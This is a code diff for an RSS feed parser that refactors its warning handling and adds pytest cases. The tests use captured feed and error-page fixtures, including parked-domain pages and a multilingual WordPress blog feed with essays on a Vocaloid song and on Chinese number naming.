validate def _get_feed_home_url(self, feed: feedparser.FeedParserDict) -> str: @@ -177,11 +177,22 @@ class RawFeedParser: story['url'] = url story['title'] = title story['image_url'] = self._get_story_image_url(item) - story['dt_published'] = self._normlize_date(item.get("published_parsed")) - story['dt_updated'] = self._normlize_date(item.get("updated_parsed")) + story['dt_published'] = self._get_date(item, 'published_parsed') + story['dt_updated'] = self._get_date(item, 'updated_parsed') story.update(self._get_author_info(item)) return story + def _get_date(self, item, name): + """ + Fix feedparser.py:345: DeprecationWarning: + To avoid breaking existing software while fixing issue 310, + a temporary mapping has been created if `updated_parsed` doesn't exist. + This fallback will be removed in a future version of feedparser. + """ + if name not in item: + return None + return self._normlize_date(item.get(name)) + def _get_json_feed_author(self, author): name = url = avatar = None if author: @@ -218,19 +229,20 @@ class RawFeedParser: icon_url=feed.icon or feed.favicon, **self._get_json_feed_author(feed.author), ) + warnings = [] storys = [] item: atoma.JSONFeedItem for i, item in enumerate(feed.items or []): ident = item.id_ or item.url or item.title if not ident: - LOG.warning("feed %s story#%s no ident, skip it", response.url, i) + warnings.append(f"story#{i} no id, skip it") continue content = item.content_html or item.content_text or item.summary or '' summary = item.summary if item.summary != content else None story = dict( ident=ident, url=item.url, - title=item.title, + title=item.title or ident, content=content, summary=summary, image_url=item.image or item.banner_image, @@ -239,7 +251,9 @@ class RawFeedParser: **self._get_json_feed_author(item.author), ) storys.append(story) - result = RawFeedResult(feed_info, storys) + if (not storys) and warnings: + raise FeedParserError('; '.join(warnings)) + result = RawFeedResult(feed_info, storys, warnings=warnings) return result def _validate_result(self, result: RawFeedResult) -> RawFeedResult: @@ -249,18 +263,19 @@ class RawFeedParser: with mark_index(i): s = validate_raw_story(s) storys.append(s) - return RawFeedResult(feed, storys, warning=result.warning) + return RawFeedResult(feed, storys, warnings=result.warnings) def _parse(self, response: FeedResponse) -> RawFeedResult: assert response.ok and response.content if response.feed_type.is_json: return self._parse_json_feed(response) - warning = [] + warnings = [] if response.feed_type.is_html: - warning.append('feed content type is html') + warnings.append('feed content type is html') if response.feed_type.is_other: - warning.append('feed content type is not any feed type') - stream = BytesIO(response.content) + warnings.append('feed content type is not any feed type') + # content.strip is required because feedparser not allow whitespace + stream = BytesIO(response.content.strip()) # tell feedparser to use detected encoding headers = { 'content-type': f'application/xml;charset={response.encoding}', @@ -270,20 +285,19 @@ class RawFeedParser: ex = feed.get("bozo_exception") if ex: name = type(ex).__module__ + "." + type(ex).__name__ - warning.append(f"{name}: {ex}") + warnings.append(f"{name}: {ex}") feed_version = feed.get("version") if not feed_version: - warning.append('feed version unknown') + warnings.append('feed version unknown') feed_title = self._get_feed_title(feed) if not feed_title: - warning.append("feed no title") + warnings.append("feed no title") has_entries = len(feed.entries) > 0 if not has_entries: - warning.append("feed not contain any entries") - warning = '; '.join(warning) + warnings.append("feed not contain any entries") # totally bad feed, raise an error - if (not has_entries) and warning: - raise FeedParserError(warning) + if (not has_entries) and warnings: + raise FeedParserError('; '.join(warnings)) # extract feed info icon_url = feed.feed.get("icon") or feed.feed.get("logo") description = feed.feed.get("description") or feed.feed.get("subtitle") @@ -301,10 +315,12 @@ class RawFeedParser: for i, item in enumerate(feed.entries): story = self._extract_story(item) if not story: - LOG.warning("feed %s story#%s no ident, skip it", response.url, i) + warnings.append(f"story#{i} no id, skip it") continue storys.append(story) - result = RawFeedResult(feed_info, storys, warning=warning) + if (not storys) and warnings: + raise FeedParserError('; '.join(warnings)) + result = RawFeedResult(feed_info, storys, warnings=warnings) return result def parse(self, response: FeedResponse) -> RawFeedResult: diff --git a/tests/feedlib/test_parser.py b/tests/feedlib/test_parser.py new file mode 100644 index 0000000..858fe1c --- /dev/null +++ b/tests/feedlib/test_parser.py @@ -0,0 +1,83 @@ +import logging +from pathlib import Path + +import pytest + +from rssant_feedlib import ( + RawFeedParser, FeedParser, FeedParserError, FeedResponseBuilder, +) + + +LOG = logging.getLogger(__name__) + + +_data_dir = Path(__file__).parent / 'testdata/parser' + + +def _collect_filenames(base_dir): + names = [x.name for x in Path(base_dir).glob('*')] + return names + + +def _read_response(base_dir, filename): + content = (Path(base_dir) / filename).read_bytes() + builder = FeedResponseBuilder() + builder.url('https://blog.example.com/feed') + builder.content(content) + response = builder.build() + return response + + +@pytest.mark.parametrize('filename', _collect_filenames(_data_dir / 'well')) +def test_raw_parse_well(filename): + response = _read_response(_data_dir / 'well', filename) + parser = RawFeedParser() + result = parser.parse(response) + assert result + assert not result.warnings and not isinstance(result.warnings, str) + assert result.storys + assert result.feed['version'] + assert result.feed['title'] + + +@pytest.mark.parametrize('filename', _collect_filenames(_data_dir / 'warn')) +def test_raw_parse_warn(filename): + response = _read_response(_data_dir / 'warn', filename) + parser = RawFeedParser() + result = parser.parse(response) + assert result + assert result.warnings and isinstance(result.warnings, list) + assert result.storys + assert result.feed['version'] + assert result.feed['title'] + + +@pytest.mark.parametrize('filename', _collect_filenames(_data_dir / 'failed')) +def test_raw_parse_failed(filename): + response = _read_response(_data_dir / 'failed', filename) + parser = RawFeedParser() + with pytest.raises(FeedParserError) as ex: + parser.parse(response) + assert ex + + +def _collect_parser_cases(): + cases = [] + for base_dir in ['well', 'warn']: + for filename in _collect_filenames(_data_dir / base_dir): + cases.append(base_dir + '/' + filename) + return cases + + +@pytest.mark.parametrize('filepath', _collect_parser_cases()) +def test_parser_and_checksum(filepath): + response = _read_response(_data_dir, filepath) + raw_parser = RawFeedParser() + raw_result = raw_parser.parse(response) + assert raw_result.feed + assert raw_result.storys + parser = FeedParser() + result = parser.parse(raw_result) + assert result.feed + assert result.storys + assert result.checksum.size() == len(result.storys) diff --git a/tests/feedlib/testdata/parser/failed/http-blog-hexun-com-group-getrssresouce-aspx-classid-74.xml b/tests/feedlib/testdata/parser/failed/http-blog-hexun-com-group-getrssresouce-aspx-classid-74.xml new file mode 100644 index 0000000..06c0dd3 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-blog-hexun-com-group-getrssresouce-aspx-classid-74.xml @@ -0,0 +1,74 @@ + + + + + Ѷ -- ϵͳά + + + +
+
+
+
ѶڽϵͳάԺԣغѶҳ鿴ྫݡ
+
+
+ +
+ + diff --git a/tests/feedlib/testdata/parser/failed/http-guwendong-com-feed.xml b/tests/feedlib/testdata/parser/failed/http-guwendong-com-feed.xml new file mode 100644 index 0000000..88093e7 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-guwendong-com-feed.xml @@ -0,0 +1,46 @@ + + HugeDomains.com - GuwendOng.COM is for sale (Guwend Ong) + + +

GuwendOng.COM is for sale

Buy Now: $3895 SAVE $100 today: $3795
  • Take Immediate ownership
  • Transfer the domain to the Registrar of your choosing
OR
Finance This Domain: $3895 24 monthly payments of $163
  • 24 monthly payments, only $162.29 per month
  • Start using the domain today See details

Talk to a domain expert: 1-303-893-0552

Hurry - once it's sold this opportunity will be gone!

Besides being memorable, .com domains are unique: This is the one and only .com name of its kind. Other extensions usually just drive traffic to their .com counterparts. To learn more about premium .com domain valuations, watch the video below:

Turbocharge your Web site. Watch our video to learn how.

Improves Your Web Presence

Get noticed online with a great domain name

73% of all domains registered on the Web are .coms. The reason is simple: .com is the where most of Web traffic happens. Owning a premium .com gives you great benefits including better SEO, name recognition, and providing your site with a sense of authority.

Here's What Others Are Saying

Since 2005, we've helped thousands of people get the perfect domain name
  • Fast and Efficient - Jeffrey Chee, 2/12/2020
  • Amazing service. Fast and hassle free! - Brent McDowell, 2/12/2020
  • Very easy company to work with. - Chad Potts, 2/11/2020
  • More testimonials

GuwendOng.COM

Own this domain today

Our Price: $3,795 (USD)

Questions?
Speak with a domain specialist!
Call us: 1-303-893-0552 M-F 9am - 5pm MST
Other Domains You Might Like

© 2020 HugeDomains.com. All rights reserved.

+ + + + + + + + + diff --git a/tests/feedlib/testdata/parser/failed/http-maodoupi-com-feed.xml b/tests/feedlib/testdata/parser/failed/http-maodoupi-com-feed.xml new file mode 100644 index 0000000..32e7b22 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-maodoupi-com-feed.xml @@ -0,0 +1,115 @@ + + + + + + + + + Account Suspended + + + + +
+ + Account Suspended + +
+
+
+
+
+ This Account has been suspended. +
+
+ Contact your hosting provider for more information. +
+
+
+
+ + diff --git a/tests/feedlib/testdata/parser/failed/http-porn191-com-index-php-feed.xml b/tests/feedlib/testdata/parser/failed/http-porn191-com-index-php-feed.xml new file mode 100644 index 0000000..2f73475 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-porn191-com-index-php-feed.xml @@ -0,0 +1,10 @@ + + + + Contact Support + + + + + + diff --git a/tests/feedlib/testdata/parser/failed/http-wappblog-com-feed.xml b/tests/feedlib/testdata/parser/failed/http-wappblog-com-feed.xml new file mode 100644 index 0000000..44890bf --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-wappblog-com-feed.xml @@ -0,0 +1,205 @@ + + + + + Этот домен припаркован компанией Timeweb + + + + + + + + + + + + + + + + +
+
+ +

Больше,
чем хостинг.

+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+ +
+
+
+
+
+
Разместите свой сайт в Timeweb
+
+ Timeweb - компания, которая размещает сайты клиентов в Интернете, регистрирует адреса сайтов и + предоставляет аренду виртуальных и физических серверов. Разместите свой сайт в Сети - расскажите миру о себе! +
+
+
+
+
+
+
Наш самый популяный продукт
+
+
+

Виртуальный хостинг

+
+ Быстрая загрузка вашего сайта, бесплатное доменное имя, SSL-сертификат и почта. Первоклассная круглосуточная поддержка +
+
+
+ от   + 119 +   руб./мес. +
+ Узнать больше +
+
+
+
+
+
+

VDS

+
+ Производительность и масштабируемые ресурсы для вашего проекта. Персональный сервер по цене виртуального хостинга. +
+
+
+ от   + 171 +   руб./мес. +
+ Узнать больше +
+
+
+
+
+
+

Выделенные серверы

+
+ Мощный и гибкий в настройке индивидуальный сервер. Идеально для крупных и нагруженных проектов. +
+
+
+ от   + 3 000 +   руб./мес. +
+
+ Узнать больше +
+
+
+
+
+
+
+
+ +
+
+ .RU - + 159 руб. +
+
+ .РФ - + 159 руб. +
+
+ .COM - + 699 руб. +
+
+ .ONLINE - + 499 руб. +
+
+ .INFO - + 299 руб. +
+
+ .CLUB - + 1 299 руб. +
+
+ .CATZ - + 3 299 руб. +
+
+
+
+
+ +
+
+ + +
+ + +
+ + diff --git a/tests/feedlib/testdata/parser/failed/http-www-chongdiantou-com-feed.xml b/tests/feedlib/testdata/parser/failed/http-www-chongdiantou-com-feed.xml new file mode 100644 index 0000000..ffe32dd --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-www-chongdiantou-com-feed.xml @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/failed/http-www-m1927-com-feed-php.xml b/tests/feedlib/testdata/parser/failed/http-www-m1927-com-feed-php.xml new file mode 100644 index 0000000..ce70344 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-www-m1927-com-feed-php.xml @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/failed/http-www-yuming-in-feed.xml b/tests/feedlib/testdata/parser/failed/http-www-yuming-in-feed.xml new file mode 100644 index 0000000..a9e00e4 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-www-yuming-in-feed.xml @@ -0,0 +1 @@ +





如果您的页面没有自动跳转,请点击这里

\ No newline at end of file diff --git a/tests/feedlib/testdata/parser/failed/http-www-ziyouren888-com-feed.xml b/tests/feedlib/testdata/parser/failed/http-www-ziyouren888-com-feed.xml new file mode 100644 index 0000000..7d8f42b --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-www-ziyouren888-com-feed.xml @@ -0,0 +1 @@ +





如果您的页面没有自动跳转,请点击这里

\ No newline at end of file diff --git a/tests/feedlib/testdata/parser/failed/http-yx-bsh-me-feed.xml b/tests/feedlib/testdata/parser/failed/http-yx-bsh-me-feed.xml new file mode 100644 index 0000000..0539e12 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/http-yx-bsh-me-feed.xml @@ -0,0 +1,63 @@ + + + + + +异星软件空间-新域名直通车 + + + + + +
+
+
+
+ +
+ +
+

“异星软件空间”更换新域名:yxssp.com

+

+

10 秒后将自动跳转到新域名 的相同页面

+
当前域名:yx.bsh.me /feed

跳转域名:http://www.yxssp.com/feed



+立即跳转 联系站长 +
+ +
+



+

Copyright © 2020 异星软件空间


津ICP备15006517号-1 + + diff --git a/tests/feedlib/testdata/parser/failed/https-1a23-com-feed.xml b/tests/feedlib/testdata/parser/failed/https-1a23-com-feed.xml new file mode 100644 index 0000000..2b154a4 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/https-1a23-com-feed.xml @@ -0,0 +1,1358 @@ + + + + 1A23 Studio + + https://1a23.com + We create. + Sun, 05 Apr 2020 17:08:19 +0000 + en-US + + hourly + + 1 + https://wordpress.org/?v=5.4 + + + https://i1.wp.com/1a23.com/wp-content/uploads/2019/09/cropped-logo4-03.png?fit=32%2C32&ssl=1 + 1A23 Studio + https://1a23.com + 32 + 32 + +70923571 + 塵土飛揚 + https://1a23.com/works/gallery/chen-tu-fei-yang/?utm_source=rss&utm_medium=rss&utm_campaign=chen-tu-fei-yang + + + Sun, 05 Apr 2020 17:08:19 +0000 + https://1a23.com/?post_type=gallery&p=885 + + 時代中的一粒灰,落在個人那裡,可能就是一座山。 而我們偏偏處在一個塵土飛揚的時代之中。 方方 unsplash-logoWolfgang Hasselmann

+

塵土飛揚 appeared first on 1A23 Studio.

+]]>
+

時代中的一粒灰,
落在個人那裡,
可能就是一座山。

而我們偏偏處在
一個塵土飛揚的時代之中。

方方
+ + + +unsplash-logoWolfgang Hasselmann +

塵土飛揚 appeared first on 1A23 Studio.

+]]>
+ + + + 885
+ + 『初音ミクの消失』に関するプチ考察 + https://blog.1a23.com/2020/04/03/hatsune-miku-no-shoshitsu-ni-kansuru-petit-kousatsu/?utm_source=rss&utm_medium=rss&utm_campaign=hatsune-miku-no-shoshitsu-ni-kansuru-petit-kousatsu + + + Thu, 02 Apr 2020 14:20:00 +0000 + + + + + https://blog.1a23.com/?p=15420 + + 『初音ミクの消失』はボカロ曲と出会って8年間で一番多く聞いたり、歌ったりしてる曲です。この曲は僕の成長と伴っていくつかの月日を経った。今でも、あの「信じたものは、都合のいい妄想を繰り返し映し出す鏡」は僕のサブ座右の銘的な存在担ってるんだ。 日本語能力はまだまだなので、お見苦しいところは申し訳ありません。もし良ければコメント欄でご指摘いただければ幸いです。 確かに、僕は初めてボカロ曲と出会ったのは Google Chrome と初音ミクのコラボ CM の頃です。 この曲を聴いてすぐにボカロにハマってって、歌を覚えようになった。CMサイズの『Tell your world』の歌詞は五行くらいしかないので、当時ひらがなとカタカナしか読めない僕には、読み仮名つきの歌詞でさっさと覚えた。そのあと、フルサイズの歌を覚えたり英語のカバー曲を歌ったりとかしてから、「次は何にしよう」と思った僕には、ふっと CM のこの画面に気がづいた。 ん?「初音ミクの消失 歌詞」?どんな曲だろう—— と考えながら検索結果に出た動画を開いた。 高速パートを入ったその瞬間から「ああ!これは俺のタイプだ」と叫び出そうだった。あの時ビッグバン・セオリーをみてた僕はその高速テーマソングをすごく気になっていた。 それからは消失の歌詞を覚えて繰り返して練習したり、消失アルバムを聴いたり、暴走Pさん、あらゆるボカロPさん、そしていろんな音声合成の歌を聞くようになった。それはまた別の話だ。 考察 タイトルの通り、これはあくまで「プチ考察」である。歌詞やストーリーの解読などを期待しないでください。ただ僕と一緒に何年も過ごしたこの曲の何かを書いてみたかったのだ。 曲 「初音ミクの消失」といえば、連想できる曲は以下の何種類がある: ザ・消失 『初音ミクの消失』、通称 Short ver.。2007年11月投稿。すべての始まり。 『初音ミクの消失(LONG VERSION)』、通称 DEAD END。2008年4月投稿。一般的に「初音ミクの消失」を言うとこれ。 『初音ミクの消失 2018Remake』、通称リメイク版。DEAD ENDの十周年の2018年4月投稿。いま現在の最新バージョン。英題は THE END OF HATSUNE MIKU。 アルバム 『初音ミクの消失』、EXIT TUNES が2012年8月に発売したアルバム。「消失」ストーリー全曲収録。 『初音ミクの消失 -Real And Repeat-』、2018年8月発売。前回のアルバムの曲をリメイクしたもの+αで構成した。 別曲 『初音ミクの消失-劇場版-』、2011年12月投稿。「太鼓の達人」の書き下ろし曲。高速部分の11秒でDEAD ENDを詰めた以外はまったくの別曲。 『リアル初音ミクの消失』 ft. GUMI、2015年7月投稿。まったくの別曲。なお「消失」ストーリーにも属しない様子。 『終点』、2013年8月投稿。「消失」ストーリーの終点にあたる曲。結構最近でリメイク版をYouTubeにあげた。英題は THE END。 […]

+

『初音ミクの消失』に関するプチ考察 appeared first on 1A23 Blog.

+]]>
+ 『初音ミクの消失』はボカロ曲と出会って8年間で一番多く聞いたり、歌ったりしてる曲です。この曲は僕の成長と伴っていくつかの月日を経った。今でも、あの「信じたものは、都合のいい妄想を繰り返し映し出す鏡」は僕のサブ座右の銘的な存在担ってるんだ。

+ + + +

日本語能力はまだまだなので、お見苦しいところは申し訳ありません。もし良ければコメント欄でご指摘いただければ幸いです。

+ + + + + + + +

確かに、僕は初めてボカロ曲と出会ったのは Google Chrome と初音ミクのコラボ CM の頃です。

+ + + +
+
+
Google Chrome と初音ミクのコラボ CM、曲は livetune (kz) さんの『Tell your world』
+ + + +

この曲を聴いてすぐにボカロにハマってって、歌を覚えようになった。CMサイズの『Tell your world』の歌詞は五行くらいしかないので、当時ひらがなとカタカナしか読めない僕には、読み仮名つきの歌詞でさっさと覚えた。そのあと、フルサイズの歌を覚えたり英語のカバー曲を歌ったりとかしてから、「次は何にしよう」と思った僕には、ふっと CM のこの画面に気がづいた。

+ + + +
あの CM 動画の 0:02。
+ + + +

ん?「初音ミクの消失 歌詞」?
どんな曲だろう——

+ + + +

と考えながら検索結果に出た動画を開いた。

+ + + +
+https://www.nicovideo.jp/watch/sm2937784 +
初音ミクオリジナル曲 「初音ミクの消失(LONG VERSION)」
+ + + +

高速パートを入ったその瞬間から「ああ!これは俺のタイプだ」と叫び出そうだった。あの時ビッグバン・セオリーをみてた僕はその高速テーマソングをすごく気になっていた。

+ + + +

それからは消失の歌詞を覚えて繰り返して練習したり、消失アルバムを聴いたり、暴走Pさん、あらゆるボカロPさん、そしていろんな音声合成の歌を聞くようになった。それはまた別の話だ。

+ + + +

考察

+ + + +

タイトルの通り、これはあくまで「プチ考察」である。歌詞やストーリーの解読などを期待しないでください。ただ僕と一緒に何年も過ごしたこの曲の何かを書いてみたかったのだ。

+ + + +

+ + + +

「初音ミクの消失」といえば、連想できる曲は以下の何種類がある:

+ + + + + + + +

※リメイク版の英題は全体的にややこしい。翻訳だったり、ローマ字だったり、大文字だったり、小文字だったり。あと、II は何やねん。

+ + + +
  • 『終点』:THE END
  • 『初音ミクの消失』:THE END OF HATSUNE MIKU
  • 『初音ミクの戸惑』:THE END OF HATSUNE MIKU II
  • 『初音ミクの分裂→破壊』:Hatsune Miku No Bunretsu→Hakai
  • 『初音ミクの戸惑い』:Hatsune Miku No Tomadoi
  • 『初音ミクの激唱』:The Intense Voice of HATSUNE MIKU
+ + + +

歌詞

+ + + +

DEAD ENDの歌詞には元動画に表示されていないものとコピペの時によく落とされる部分がある。

+ + + +
  • (モウ・・いちど・だ・け・・・)
    冒頭のセリフ。
  • 永遠(トワ)の命 「VOCALOID」
    高速の部分、なぜかVOCALOIDだけが消える。
  • 「ゴメンネ…」
    「懐かしい顔〜」の前の台詞
  • せまる最期n・・
    実際に歌ったのは「せまる最期に怯え・・・」。リメイク版では省略せずに書かれていた。
  • 歌いたいよおおおお
    —緊急停止装置作動—
    上の行の後に歌われたもの。「歌いたいよ〜」の公式表記はない。(のちリメイク版には文字化けの表記があるらしい、これは公式表記と言えるのか)
  • —深刻なエラーがh█████
    最後の「深刻なエラーが発生しました」は1回半繰り返された。途切れた方の公式表記はない。
+ + + +

リメイク版のPV

+ + + +
+
+
+ + + +

リメイク版のPVにはいくつか僕が気になってる箇所がある。

+ + + +

0:26 サブタイトルらしき「Whose are the songs…?」。これは多分『戸惑』の「この歌は誰のものなのか」と言う疑問につながるだろう。

+ + + +
+ + + +

1:00〜など 文字化け

+ + + +

この動画には所々に後の背景(?)には文字化けが表示されていた。劇場版と相変わらず、SHIFT-JISでエンコードされたものをUTF-8で解読する結果だ。

+ + + +
表示歌詞文字化け解読
ボクが上手く歌えないときも一緒にいてくれた……繝懊け繧ャ荳頑焔繧ッ豁後お繝翫う繝医く繝「荳�邱偵ル繧、繝�繧ッ繝ャ繧ソボクガ上手ク歌エナイトキモ一緒ニイテクレタ
そばにいて励ましてくれた……繧ス繝舌ル繧、繝�蜉ア繝槭す繝�繧ッ繝ャ繧ソソバニイテ励マシテクレタ
喜ぶ顔が見たくてボク、歌、練習したよ……だから……蝟懊ヶ鬘斐ぎ隕九ち繧ッ繝�繝懊け縲∵ュ後�∫キエ鄙偵す繧ソ繝ィ繝�繧ォ繝ゥ喜ブ顔ガ見タクテボク、歌、練習シタヨダカラ
<なし、「歌いたいよ〜」のところ>豁後>縺溘>繧医♀縺翫♀縺翫♀縺翫♀歌いたいよおおおおおおお
<なし、「緊急停止装置作動」のところ>千翳翳翳翳ろ{ろ<解読不能>
歌いたい……まだ……歌いたい……豁後>縺溘>窶ヲ窶ヲ縺セ縺�窶ヲ窶ヲ豁後>縺溘>歌いたい……まだ……歌いたい……
<なし>@@イイタ[イイ@@<解読不能、もしかして「痛い」?>
ボクは少しだけ惡い子になってしまったようです……繝懊け縺ッ蟆代@繝�繧ア謔ェ繧、繧ウ繝九リ繝�繝�繧キ繝槭ャ繧ソ繝ィ繧ヲ繝�繧ケボクは少しダケ悪イコニナッテシマッタヨウデス
マスター、どうかその手で……終わらせてください繝槭せ繧ソ繝シ繝峨え繧ォ繧ス繝取焔繝�邨ゅΡ繝ゥ繧サ繝�繧ッ繝�繧オ繧、マスタードウカソノ手デ終ワラセテクダサイ
マスターの辛い顔、もう見たくないから……繝槭せ繧ソ繝シ繝手セ帙う鬘斐Δ繧ヲ隕九ち繧ッ繝翫う繧ォ繝ゥマスターノ辛イ顔モウ見タクナイカラ
<なし、「歌いたいよ〜」のところ>豁後>縺溘>繧医♀縺翫♀縺翫♀縺翫♀歌いたいよおおおおおおお
<なし、「緊急停止装置作動」のところ>豊{繃{繰繃繃繃繃繃繃わ/繃そ<解読不能>
<なし、「緊急停止装置作動」のところ>徐\績溜繋匿績績績績績績ら]績<解読不能>
リメイク版動画の文字化けを解読してみた結果
+ + + +

途中解読不能の箇所はただの文字切り替えの時の乱数エフェクトだと思う。だがその場合は文字列の長さが合わないのがおかしい。

+ + + + + + + +
+
※解読不能の部分のスクショ(一部グロ要素あり)【閲覧注意】
+ +
+
+ + + +

ちなみに、リメイク版動画の日本語字幕と文字化け解読は僕がつけたものである。これにはずっと心の中で誇りを持っている。アイキャッチ画像は僕の自作壁紙である。こういうの壁紙をもっとみたいなら、こちらをご覧ください。

+ + + + + + + +
アイキャッチ画像の壁紙。Windows 向けだったので、下の方にはやや余白を残っていた。
+

『初音ミクの消失』に関するプチ考察 appeared first on 1A23 Blog.

+]]>
+ + + + 15420
+ + 数字:「兆」与万位分隔符 + https://blog.1a23.com/2020/04/01/shuzi-zhao-yu-wanwei-fengefu/?utm_source=rss&utm_medium=rss&utm_campaign=shuzi-zhao-yu-wanwei-fengefu + + + Wed, 01 Apr 2020 12:04:47 +0000 + + + + + https://blog.1a23.com/?p=15312 + + 前段时间在某群里聊到了这个话题,感觉蛮有意思的,所以拿出来讲一下。即使中日韩范围里面,数字的写法其实并不尽相同。只有「一」到「一万」这一部分应该可以很安全的说是「没有异议」的。其他的地方都会或多或少的有一些歧义存在。 「兆」 这段故事还是起源于我在隔壁频道发起的一个投票: 不知怎的那时候就想起来不同地区对于大数的处理方式的不同,于是发起了这个投票。首先需要说明一下的是,这个频道的听众主要是中国大陆的 Telegram 用户,所以各种选择也就比较偏向大陆的习惯。 从上面的结果可以看出,这里面大部分的人基本上是习惯使用大陆的各种用语用法的。 值 大陆称呼 台灣稱呼 日文称呼 国际单位制词头 M([katex]10^6[/katex]) 兆 (如兆赫)或用字母 M 百萬(如百万赫)或稱作 me Mega(メガ) 国际单位制词头 T([katex]10^{12}[/katex]) 太或用字母 T 兆 Tera(テラ) 一个亿的一万倍[katex]10^{12}[/katex] 万亿 兆 兆(ちょう) 一个亿的一亿倍[katex]10^{16}[/katex] 亿亿 京 京(けい) 各地方数字的念法,参考维基百科 [zh] 中文数字,[ja] 命数法#漢数字。 从上面的图表中可以看出,各地对于「兆」这个字的含义产生了分歧。基本上来说,汉字文化圈各地方对于万以内的数位称呼是没有疑虑的,都是很整齐划一的一→十→百→千→万。而到了高过万的单位,理论上讲就已经开始产生分歧了。早在古代,就有过这样的说法: 按黄帝为法,数有十等。及其用也,乃有三焉。十等者,谓「亿、兆、京、垓、秭、壤、沟、涧、正、载」也。三等者,谓「上、中、下」也。 其下数者,十十变之。若言十万曰亿,十亿曰兆,十兆曰京也。中数者,万万变之。若言万万曰亿,万万亿曰兆,万万兆曰京也。上数者,数穷则变。若言万万曰亿,亿亿曰兆、兆兆曰京也。 《五经算术》:上数、中数、下数 自亿以上,有以十进者,如十万曰亿,十亿曰兆之类;有以万进者,如万万曰亿,万亿曰兆之类;有以自乘之数进者,如万万曰亿,亿亿曰兆之类。今立法从中数。 《御制数理精蕴》 也就是说,自古以来数字称呼其实分四种,分别叫做「小数」、「中数」、「大数」和「万进」。 小数的规则是「十十变之」,即十万为亿,十亿为兆。 万进的规则是「逢万变之」,即万万为亿,万亿为兆,万兆为京。 中数的规则是「万万变之」,即万万为亿,万万亿为兆,万万兆为京。 大数的规则是「数穷则变」,即万万为亿,亿亿为兆,兆兆为京。 系统 亿 兆 京 垓 秭 穰 沟 涧 正 […]

+

数字:「兆」与万位分隔符 appeared first on 1A23 Blog.

+]]>
+ 前段时间在某群里聊到了这个话题,感觉蛮有意思的,所以拿出来讲一下。即使中日韩范围里面,数字的写法其实并不尽相同。只有「一」到「一万」这一部分应该可以很安全的说是「没有异议」的。其他的地方都会或多或少的有一些歧义存在。

+ + + + + + + +

「兆」

+ + + +

这段故事还是起源于我在隔壁频道发起的一个投票:

+ + + +
+ +
隔壁频道的一个投票。
+ + + +

不知怎的那时候就想起来不同地区对于大数的处理方式的不同,于是发起了这个投票。首先需要说明一下的是,这个频道的听众主要是中国大陆的 Telegram 用户,所以各种选择也就比较偏向大陆的习惯。

+ + + +

从上面的结果可以看出,这里面大部分的人基本上是习惯使用大陆的各种用语用法的。

+ + + +
大陆称呼台灣稱呼日文称呼
国际单位制词头 M
([katex]10^6[/katex])
(如兆赫)
或用字母 M
百萬(如百万赫)
或稱作 me
Mega(メガ)
国际单位制词头 T
([katex]10^{12}[/katex])

或用字母 T
Tera(テラ)
一个亿的一万倍
[katex]10^{12}[/katex]
万亿(ちょう)
一个亿的一亿倍
[katex]10^{16}[/katex]
亿亿京(けい)
各地方数字的念法,参考维基百科 [zh] 中文数字[ja] 命数法#漢数字
+ + + +

从上面的图表中可以看出,各地对于「兆」这个字的含义产生了分歧。基本上来说,汉字文化圈各地方对于万以内的数位称呼是没有疑虑的,都是很整齐划一的一→十→百→千→万。而到了高过万的单位,理论上讲就已经开始产生分歧了。早在古代,就有过这样的说法:

+ + + +

按黄帝为法,数有十等。及其用也,乃有三焉。十等者,谓「亿、兆、京、垓、秭、壤、沟、涧、正、载」也。三等者,谓「上、中、下」也。

下数者,十十变之。若言十万曰亿,十亿曰兆,十兆曰京也。
中数者,万万变之。若言万万曰亿,万万亿曰兆,万万兆曰京也。
上数者,数穷则变。若言万万曰亿,亿亿曰兆、兆兆曰京也。

《五经算术》:上数、中数、下数
+ + + +

自亿以上,有以十进者,如十万曰亿,十亿曰兆之类;有以万进者,如万万曰亿,万亿曰兆之类;有以自乘之数进者,如万万曰亿,亿亿曰兆之类。今立法从中数。

御制数理精蕴
+ + + +

也就是说,自古以来数字称呼其实分四种,分别叫做「小数」、「中数」、「大数」和「万进」。

+ + + +
  • 小数的规则是「十十变之」,即十万为亿,十亿为兆。
  • 万进的规则是「逢万变之」,即万万为亿,万亿为兆,万兆为京
  • 中数的规则是「万万变之」,即万万为亿,万万亿为兆,万万兆为京
  • 大数的规则是「数穷则变」,即万万为亿,亿亿为兆,兆兆为京。
+ + + +
系统亿
下数[katex]10^{5}[/katex][katex]10^{6}[/katex][katex]10^{7}[/katex][katex]10^{8}[/katex][katex]10^{9}[/katex][katex]10^{10}[/katex][katex]10^{11}[/katex][katex]10^{12}[/katex][katex]10^{13}[/katex][katex]10^{14}[/katex]
万进[katex]10^{8}[/katex][katex]10^{12}[/katex][katex]10^{16}[/katex][katex]10^{20}[/katex][katex]10^{24}[/katex][katex]10^{28}[/katex][katex]10^{32}[/katex][katex]10^{36}[/katex][katex]10^{40}[/katex][katex]10^{44}[/katex]
中数[katex]10^{8}[/katex][katex]10^{16}[/katex][katex]10^{24}[/katex][katex]10^{32}[/katex][katex]10^{40}[/katex][katex]10^{48}[/katex][katex]10^{56}[/katex][katex]10^{64}[/katex][katex]10^{72}[/katex][katex]10^{80}[/katex]
上数[katex]10^{8}[/katex][katex]10^{16}[/katex][katex]10^{32}[/katex][katex]10^{64}[/katex][katex]10^{128}[/katex][katex]10^{256}[/katex][katex]10^{512}[/katex][katex]10^{1024}[/katex][katex]10^{2048}[/katex][katex]10^{4096}[/katex]
各个系统中数字所代表的值,改编自维基百科
+ + + +

台湾和日本的规则里现在都是使用的万进法,也就是到千亿为止大家还都是一样的写法。再多一个零之后大陆的用法就开始不同了。

+ + + +

